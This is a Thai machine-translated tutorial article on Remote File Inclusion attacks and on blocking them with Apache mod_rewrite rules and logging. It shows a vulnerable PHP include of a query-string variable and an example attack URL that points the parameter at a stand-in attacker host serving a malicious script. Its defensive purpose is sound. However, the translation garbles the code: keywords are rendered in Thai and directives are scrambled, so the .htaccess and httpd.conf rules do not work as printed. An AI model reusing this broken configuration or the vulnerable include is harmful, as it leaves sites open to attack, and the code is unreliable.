..


ลิงก์ผู้สนับสนุน

การใช้ mod_rewrite เพื่อป้องกันการรวมของไฟล์ระยะไกล

บทความที่เขียนโดย Claudio Garau

หนึ่งในการโจมตีที่พบบ่อยที่สุดที่ประสบความโดยเว็บไซต์จะทำผ่านความพยายามที่จะรวมไฟล์ที่มีโค้ดที่เป็นอันตรายในทางทฤษฎีการพูดของการโจมตีเป็นง่ายมากในการดำเนินการที่จะทำเพียงเพราะไฟล์ที่มีโค้ดที่เป็นอันตรายและ URL ที่จะพิมพ์เป็น เบราว์เซอร์

ประเภทของการโจมตีหรือที่รู้จักกันโดยระยะทางเทคนิคสำหรับการรวมไฟล์ระยะไกลหรือกับตัวย่อที่เรียบง่ายสำหรับ RFI, นี้มักจะเกี่ยวข้องกับโหมดที่เรียกว่าการบุกรุก XSA (โจมตีข้าม - Server) มักจะทำเพื่อความปลอดภัยของเว็บไซต์ ถ้าไม่ได้เว็บเซิร์ฟเวอร์, ปัจจัยที่ทำให้ยิ่งเป็นอันตรายต่อ RFI

เพื่อเปิดการโจมตี RFI, โจมตีความต้องการของ"ความจำ"ภายในโปรแกรมประยุกต์ในการที่จะทำให้การรวมของระยะไกลนี้"พื้นที่"โดยทั่วไปเป็น"หลุม"(BUG) รักษาความปลอดภัยที่ทำให้มันเป็นสคริปต์ที่มีช่องโหว่
กรณีคลาสสิกของการรั่วไหลความไวต่อการ RFI ที่เป็นที่เกี่ยวข้องกับการผ่านหน้าผ่านชื่อตัวแปรเพียงชิ้นง่ายของรหัสเช่นนี้เป็นอันตรายต่อใบสมัคร :

 



 # รวมไฟล์ผ่านตัวแปรสตริงการสืบค้นผ่าน







 รวม ($ _GET ['หน้า']);

 
ในรหัสที่เรามีตัวแปรไม่ได้กำหนดหรือมากกว่าที่จะกำหนดตามพารามิเตอร์ที่ส่งผ่านสตริงการสืบค้นตัวอย่างเช่นถ้าเป็น URL ของโดยตรงไปยังเพจที่มีรายการที่นำเสนอจะมีลักษณะเช่นนี้
 



 http://www.sito.com/index.php?pagina=news.php

 
ค่าของตัวแปร $ หน้าจะมีค่าเท่ากับ"ข่าว"การโจมตีในโปรแกรมนี้อาจจะดำเนินการในลักษณะนี้
 



 http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php

 
ที่ไฟล์"x.php"ในกรณีของการโจมตีที่ประสบความสำเร็จที่อาจมีชนิดของโค้ดที่เป็นอันตรายใด ๆ และทำให้เกิดความเสียหายมากขึ้นมากและชัดเจนกว่าความเรียบง่ายของการโจมตีที่สามารถทำเพื่อคิดว่า

โชคดีที่มีบางเทคนิคการป้องกันที่สามารถใช้เพื่อป้องกันการโจมตีดังกล่าวในระหว่างการสนทนาสั้น ๆ นี้เราจะวิเคราะห์หนึ่งขึ้นอยู่กับโมดูลการเขียน URL ใหม่ (mod_rewrite) ให้โดย Apache เว็บเซิร์ฟเวอร์ที่สามารถใช้โดยวิธีการ ที่แตกต่างกัน

หนึ่งในคลาสสิคที่สุดในการส่งคำสั่งให้ Apache เว็บเซิร์ฟเวอร์คือการใช้คลาสสิก. htaccess ไฟล์จะรวมอยู่ในโฟลเดอร์ที่คุณต้องการการปกป้องจากการโจมตี

วิธีแรกที่เราใช้คือการแทรกกฎง่ายๆในแฟ้ม ก. Htaccess :






 RewriteCond% {QUERY_STRING} (.*)( HTTP | HTTPS | FTP) : \ / \ /(.*)







 ^(.+)$ RewriteRule -- [F]



กฎระบุว่าสูตรในสตริงการสืบค้นที่ ("{QUERY_STRING}") ไม่สามารถผ่านอาร์กิวเมนต์ที่มีคำต่อท้าย"HTTP","https"และ"FTP"ไม่ว่าสิ่งที่เนื้อหาของก่อนหน้าหรือถัดไปที่ไม่มี ("(.*)" พารามิเตอร์) หากเกิดเหตุการณ์นี้เว็บเซิร์ฟเวอร์จะส่งกลับข้อผิดพลาดของ 403 (ต้องห้าม)

บรรดาผู้ที่มีความเป็นไปได้ของการเข้าถึงโดยตรงไปยังแฟ้มการกำหนดค่าของ Apache (httpd.conf) ก็สามารถแทรกในภาชนะเดียวที่มีคำสั่งสามารถมีผลเทียบเท่ากับหลักเกณฑ์ที่กำหนด prededentemente :






 # ตรวจสอบว่า mod_rewrite สามารถใช้ได้







 Mod_rewrite.c> <IfModule







 # เปิดใช้งานเครื่องมือการเขียน URL ใหม่

 





 RewriteEngine เมื่อ

 





 # เราตั้งกฎของเรากับ RFI







 RewriteCond% {QUERY_STRING} (.*)( HTTP | HTTPS | FTP) : \ / \ /(.*)







 # กรองออกการร้องขอที่เป็นไปได้สำหรับการรวมและทำเครื่องหมายขึ้น







 # Vraibile กับสิ่งแวดล้อม [E varname = value]







 ^(.+)$ RewriteRule -- [F, E = RFI : จริง]

 





 <IfModule />

 





 # Creaimo บันทึกการพยายามที่จะ RFI เรา identficato







 # ก่อนหน้านี้ใช้"ตัวแปรสภาพแวดล้อม"







 CustomLog / folder_name / rfi.log รวม env = RFI



หลังจากเขียนคำสั่งไปยังไฟล์การตั้งค่าที่คุณจะต้องบันทึกการเปลี่ยนแปลงของคุณและเริ่มต้นเว็บเซิร์ฟเวอร์จะมีผลทราบว่าที่ส่วนท้ายของรายการและด้านนอกของภาชนะที่ได้รับการแทรกการร้องขอสำหรับการสร้างแฟ้มบันทึก ตั้งใจที่จะบันทึกการร้องขอจากการรวมแฟ้มจากระยะไกล, การตรวจสอบจากนี้เล็ก"บันทึกการปิดกั้นการโจมตี RFI,"เราจะพบว่าความพยายามที่ของการรวมไฟล์ระยะไกลไปยังเว็บไซต์ของเรามีน้อยผิดปกติกว่า เชื่อว่า

ในประเภทเดียวกัน ...
E - Learning
ลินุกซ์ (หลักสูตร) ลินุกซ์ (หลักสูตร)
คู่มือที่สมบูรณ์ในระบบเปิดแหล่งที่มา จาก 49 €
MySQL (Course) MySQL (Course)
การบริหารจัดการฐานข้อมูลโอเพนซอร์ส จาก 39 €
PHP (หลักสูตร) PHP (หลักสูตร)
หลักสูตรเต็มสำหรับการสร้างเว็บไซต์แบบไดนามิก จาก 49 €
ลิงก์ผู้สนับสนุน